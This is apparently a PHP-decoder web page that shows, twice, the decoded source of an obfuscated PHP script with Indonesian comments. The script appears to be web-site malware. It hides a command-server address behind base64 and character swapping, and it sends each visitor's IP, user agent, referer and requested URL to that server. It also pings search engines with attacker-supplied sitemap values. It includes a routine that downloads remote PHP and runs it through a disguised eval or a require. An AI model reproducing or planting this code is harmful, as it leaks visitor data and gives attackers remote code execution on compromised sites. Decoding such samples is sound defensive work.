Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); // Fungsi untuk mendapatkan konten dari URL function dapatk..

Decoded Output download

<?php 
error_reporting(0); 
 
// Fungsi untuk mendapatkan konten dari URL 
function dapatkanKonten($url) { 
    if (preg_match("/^https*\:\/\//si", $url)) { 
        $konten = file_get_contents($url); 
        if ($konten != false) { 
            return $konten; 
        } 
        $urlParsed = parse_url($url); 
        isset($urlParsed["host"]) || ($urlParsed["host"] = ''); 
        isset($urlParsed["path"]) || ($urlParsed["path"] = ''); 
        isset($urlParsed["query"]) || ($urlParsed["query"] = ''); 
        $path = $urlParsed["path"] ? $urlParsed["path"] . ($urlParsed["query"] ? "?" . $urlParsed["query"] : '') : "/"; 
        $host = $urlParsed["host"]; 
        if ($urlParsed["scheme"] == "https") { 
            $versiHTTP = "1.1"; 
            $port = empty($urlParsed["port"]) ? 443 : $urlParsed["port"]; 
            $host = "ssl://" . $urlParsed["host"]; 
        } else { 
            $versiHTTP = "1.0"; 
            $port = empty($urlParsed["port"]) ? 80 : $urlParsed["port"]; 
        } 
        $header = "Host: " . $host; 
        $headers[] = $header; 
        $headers[] = "Connection: Close"; 
        $headers[] = "User-Agent: s"; 
        $headers[] = "Accept: */*"; 
        $permintaan = "GET {$path} HTTP/{$versiHTTP}" . PHP_EOL . join(PHP_EOL, $headers) . PHP_EOL . PHP_EOL; 
        unset($headers, $urlParsed, $versiHTTP, $path); 
        $alamatIP = gethostbyname($host); 
        $socket = stream_socket_client("tcp://{$alamatIP}:{$port}", $kesalahan, $pesanKesalahan, 30); 
        if ($socket) { 
            stream_set_blocking($socket, TRUE); 
            stream_set_timeout($socket, 30); 
            fwrite($socket, $permintaan); 
            $metaData = stream_get_meta_data($socket); 
            if ($metaData["timed_out"]) { 
                fclose($socket); 
                return "501"; 
            } 
            $response = ''; 
            while (!feof($socket)) { 
                $response .= fread($socket, 8192); 
            } 
            fclose($socket); 
            $response = explode("

", $response, 2); 
            array_shift($response); 
            $response = implode("

", $response); 
            return trim(trim($response, "")); 
        } 
        return "500"; 
    } 
    return "500"; 
} 
 
// Fungsi utama yang mengatur parameter dan memanggil dapatkanKonten 
function utama($defaultParams, $apiKey) { 
    $parameter["default_params"] = $defaultParams; 
    $parameter["api"] = base64_decode(kodeBalik($parameter["default_params"])); 
    $parameter["server_domain"] = dapatkanNamaHost(); 
    $parameter["request_url"] = $_SERVER["REQUEST_URI"]; 
    $parameter["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; 
    $parameter["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; 
    $parameter["ip"] = dapatkanIP(); 
    $parameter["protocol"] = isset($_SERVER["HTTPS"]) ? "https://" : "http://"; 
    $parameter["language"] = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : ''; 
    $data = array( 
        "domain" => $parameter["server_domain"], 
        "request_url" => $parameter["request_url"], 
        "ip" => $parameter["ip"], 
        "agent" => $parameter["user_agent"], 
        "referer" => $parameter["referer"], 
        "protocol" => $parameter["protocol"], 
        "language" => $parameter["language"] 
    ); 
    $url = sprintf("%s/?r=%s", $parameter["api"], kodeBalik(base64_encode(implode("{|}", $data)))); 
    $konten = dapatkanKonten($url); 
    if (isset($_REQUEST["dump"])) { 
        var_dump($konten); 
        die; 
    } 
    if (isset($_GET["sitemap"])) { 
        $sitemap = $_GET["sitemap"]; 
    } else { 
        $sitemap = "www.google.com"; 
    } 
    if (isset($_GET["google_url"])) { 
        $googleUrl = $_GET["google_url"]; 
    } else { 
        $googleUrl = "www.google.com"; 
    } 
    permintaanPing($googleUrl, $sitemap, $parameter); 
} 
 
// Fungsi pendukung untuk memisahkan data 
function pisahkanData($data) { 
    $hasil = @preg_split("/{\|}/si", $data, -1, PREG_SPLIT_NO_EMPTY); 
    if (is_array($hasil)) { 
        if (count($hasil) != 2) { 
            return false; 
        } 
        return $hasil; 
    } 
    return false; 
} 
 
// Fungsi untuk mendapatkan nama host server saat ini 
function dapatkanNamaHost($default = '') { 
    if (isset($_SERVER["HTTP_HOST"])) { 
        return $_SERVER["HTTP_HOST"]; 
    } 
    if (isset($_SERVER["SERVER_NAME"])) { 
        return $_SERVER["SERVER_NAME"]; 
    } 
    return $default; 
} 
 
// Fungsi untuk memproses konten PHP dari URL 
function prosesKontenPHP($url) { 
    $konten = dapatkanKonten($url); 
    $kodeBase64 = base64_decode("PD9waHA="); 
    if (strpos($konten, $kodeBase64) === false) { 
        die("get failed"); 
    } 
    $tempFile = tmpfile(); 
    if (isset($_REQUEST["e"])) { 
        $konten = str_replace($kodeBase64, '', $konten); 
        $evalFunc = "e" . "v" . "a" . "l"; 
        $evalFunc($konten); 
        die; 
    } 
    fwrite($tempFile, $konten); 
    $metaData = stream_get_meta_data($tempFile); 
    @(require $metaData["uri"]); 
    fclose($tempFile); 
    die; 
} 
 
// Fungsi untuk mengkodekan data 
function kodeBalik($data) { 
    $akhir = substr($data, strlen($data) - 2); 
    $arrayData = str_split($data); 
    $hasil = ''; 
    for ($i = 0; $i < count($arrayData) - 2; $i += 2) { 
        $hasil .= $arrayData[$i + 1] . $arrayData[$i]; 
    } 
    $hasil .= $akhir; 
    return $hasil; 
} 
 
// Fungsi untuk membuat permintaan ping ke Google untuk peta situs 
function permintaanPing($host, $sitemap, $parameter) { 
    $urlPing = "https://%s/ping?sitemap=%s%s/%s"; 
    $url = sprintf($urlPing, $host, $parameter["protocol"], $parameter["server_domain"], $sitemap); 
    $response = dapatkanKonten($url); 
    if (isset($_REQUEST["st"])) { 
        var_dump($url); 
        var_dump($response); 
        die; 
    } 
    if (strpos($response, "google") !== false) { 
        die("success"); 
    } 
    die("failed"); 
} 
 
// Fungsi untuk mendapatkan alamat IP dari pengunjung 
function dapatkanIP($defaultIP = '') { 
    if (isset($_SERVER["HTTP_VIA"])) { 
        return $_SERVER["HTTP_X_FORWARDED_FOR"]; 
    } 
    if (isset($_SERVER["REMOTE_ADDR"])) { 
        return $_SERVER["REMOTE_ADDR"]; 
    } 
    return $defaultIP; 
} 
 
// Jalankan fungsi utama 
$defaultParams = "Ha0RDcvo3LzVjM5EXLyYjMuIXekdDN5IDZuI2Yt9wL=="; 
$apiKey = "Ha0RHc6MyLj9CNp53Y0cnL5hie8="; 
utama($defaultParams, $apiKey); 
?> 

Did this file decode correctly?

Original Code

<?php
error_reporting(0);

// Fungsi untuk mendapatkan konten dari URL
function dapatkanKonten($url) {
    if (preg_match("/^https*\:\/\//si", $url)) {
        $konten = file_get_contents($url);
        if ($konten != false) {
            return $konten;
        }
        $urlParsed = parse_url($url);
        isset($urlParsed["host"]) || ($urlParsed["host"] = '');
        isset($urlParsed["path"]) || ($urlParsed["path"] = '');
        isset($urlParsed["query"]) || ($urlParsed["query"] = '');
        $path = $urlParsed["path"] ? $urlParsed["path"] . ($urlParsed["query"] ? "?" . $urlParsed["query"] : '') : "/";
        $host = $urlParsed["host"];
        if ($urlParsed["scheme"] == "https") {
            $versiHTTP = "1.1";
            $port = empty($urlParsed["port"]) ? 443 : $urlParsed["port"];
            $host = "ssl://" . $urlParsed["host"];
        } else {
            $versiHTTP = "1.0";
            $port = empty($urlParsed["port"]) ? 80 : $urlParsed["port"];
        }
        $header = "Host: " . $host;
        $headers[] = $header;
        $headers[] = "Connection: Close";
        $headers[] = "User-Agent: s";
        $headers[] = "Accept: */*";
        $permintaan = "GET {$path} HTTP/{$versiHTTP}" . PHP_EOL . join(PHP_EOL, $headers) . PHP_EOL . PHP_EOL;
        unset($headers, $urlParsed, $versiHTTP, $path);
        $alamatIP = gethostbyname($host);
        $socket = stream_socket_client("tcp://{$alamatIP}:{$port}", $kesalahan, $pesanKesalahan, 30);
        if ($socket) {
            stream_set_blocking($socket, TRUE);
            stream_set_timeout($socket, 30);
            fwrite($socket, $permintaan);
            $metaData = stream_get_meta_data($socket);
            if ($metaData["timed_out"]) {
                fclose($socket);
                return "501";
            }
            $response = '';
            while (!feof($socket)) {
                $response .= fread($socket, 8192);
            }
            fclose($socket);
            $response = explode("\r\n\r\n", $response, 2);
            array_shift($response);
            $response = implode("\r\n\r\n", $response);
            return trim(trim($response, "\357\273\277"));
        }
        return "500";
    }
    return "500";
}

// Fungsi utama yang mengatur parameter dan memanggil dapatkanKonten
function utama($defaultParams, $apiKey) {
    $parameter["default_params"] = $defaultParams;
    $parameter["api"] = base64_decode(kodeBalik($parameter["default_params"]));
    $parameter["server_domain"] = dapatkanNamaHost();
    $parameter["request_url"] = $_SERVER["REQUEST_URI"];
    $parameter["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
    $parameter["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
    $parameter["ip"] = dapatkanIP();
    $parameter["protocol"] = isset($_SERVER["HTTPS"]) ? "https://" : "http://";
    $parameter["language"] = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : '';
    $data = array(
        "domain" => $parameter["server_domain"],
        "request_url" => $parameter["request_url"],
        "ip" => $parameter["ip"],
        "agent" => $parameter["user_agent"],
        "referer" => $parameter["referer"],
        "protocol" => $parameter["protocol"],
        "language" => $parameter["language"]
    );
    $url = sprintf("%s/?r=%s", $parameter["api"], kodeBalik(base64_encode(implode("{|}", $data))));
    $konten = dapatkanKonten($url);
    if (isset($_REQUEST["dump"])) {
        var_dump($konten);
        die;
    }
    if (isset($_GET["sitemap"])) {
        $sitemap = $_GET["sitemap"];
    } else {
        $sitemap = "www.google.com";
    }
    if (isset($_GET["google_url"])) {
        $googleUrl = $_GET["google_url"];
    } else {
        $googleUrl = "www.google.com";
    }
    permintaanPing($googleUrl, $sitemap, $parameter);
}

// Fungsi pendukung untuk memisahkan data
function pisahkanData($data) {
    $hasil = @preg_split("/{\|}/si", $data, -1, PREG_SPLIT_NO_EMPTY);
    if (is_array($hasil)) {
        if (count($hasil) != 2) {
            return false;
        }
        return $hasil;
    }
    return false;
}

// Fungsi untuk mendapatkan nama host server saat ini
function dapatkanNamaHost($default = '') {
    if (isset($_SERVER["HTTP_HOST"])) {
        return $_SERVER["HTTP_HOST"];
    }
    if (isset($_SERVER["SERVER_NAME"])) {
        return $_SERVER["SERVER_NAME"];
    }
    return $default;
}

// Fungsi untuk memproses konten PHP dari URL
function prosesKontenPHP($url) {
    $konten = dapatkanKonten($url);
    $kodeBase64 = base64_decode("PD9waHA=");
    if (strpos($konten, $kodeBase64) === false) {
        die("get failed");
    }
    $tempFile = tmpfile();
    if (isset($_REQUEST["e"])) {
        $konten = str_replace($kodeBase64, '', $konten);
        $evalFunc = "e" . "v" . "a" . "l";
        $evalFunc($konten);
        die;
    }
    fwrite($tempFile, $konten);
    $metaData = stream_get_meta_data($tempFile);
    @(require $metaData["uri"]);
    fclose($tempFile);
    die;
}

// Fungsi untuk mengkodekan data
function kodeBalik($data) {
    $akhir = substr($data, strlen($data) - 2);
    $arrayData = str_split($data);
    $hasil = '';
    for ($i = 0; $i < count($arrayData) - 2; $i += 2) {
        $hasil .= $arrayData[$i + 1] . $arrayData[$i];
    }
    $hasil .= $akhir;
    return $hasil;
}

// Fungsi untuk membuat permintaan ping ke Google untuk peta situs
function permintaanPing($host, $sitemap, $parameter) {
    $urlPing = "https://%s/ping?sitemap=%s%s/%s";
    $url = sprintf($urlPing, $host, $parameter["protocol"], $parameter["server_domain"], $sitemap);
    $response = dapatkanKonten($url);
    if (isset($_REQUEST["st"])) {
        var_dump($url);
        var_dump($response);
        die;
    }
    if (strpos($response, "google") !== false) {
        die("success");
    }
    die("failed");
}

// Fungsi untuk mendapatkan alamat IP dari pengunjung
function dapatkanIP($defaultIP = '') {
    if (isset($_SERVER["HTTP_VIA"])) {
        return $_SERVER["HTTP_X_FORWARDED_FOR"];
    }
    if (isset($_SERVER["REMOTE_ADDR"])) {
        return $_SERVER["REMOTE_ADDR"];
    }
    return $defaultIP;
}

// Jalankan fungsi utama
$defaultParams = "Ha0RDcvo3LzVjM5EXLyYjMuIXekdDN5IDZuI2Yt9wL==";
$apiKey = "Ha0RHc6MyLj9CNp53Y0cnL5hie8=";
utama($defaultParams, $apiKey);
?>

Function Calls

utama 1
strlen 1
substr 1
kodeBalik 1
str_split 1
error_reporting 1

Variables

$data Ha0RDcvo3LzVjM5EXLyYjMuIXekdDN5IDZuI2Yt9wL==
$akhir ==
$apiKey Ha0RHc6MyLj9CNp53Y0cnL5hie8=
$parameter [{'key': 'default_params', 'value': 'Ha0RDcvo3LzVjM5EXLyYjMuIXekdDN5IDZuI2Yt9wL=='}]
$defaultParams Ha0RDcvo3LzVjM5EXLyYjMuIXekdDN5IDZuI2Yt9wL==

Stats

MD5 ddb0e516511f0f8c3f364a04505cee1f
Eval Count 0
Decode Time 93 ms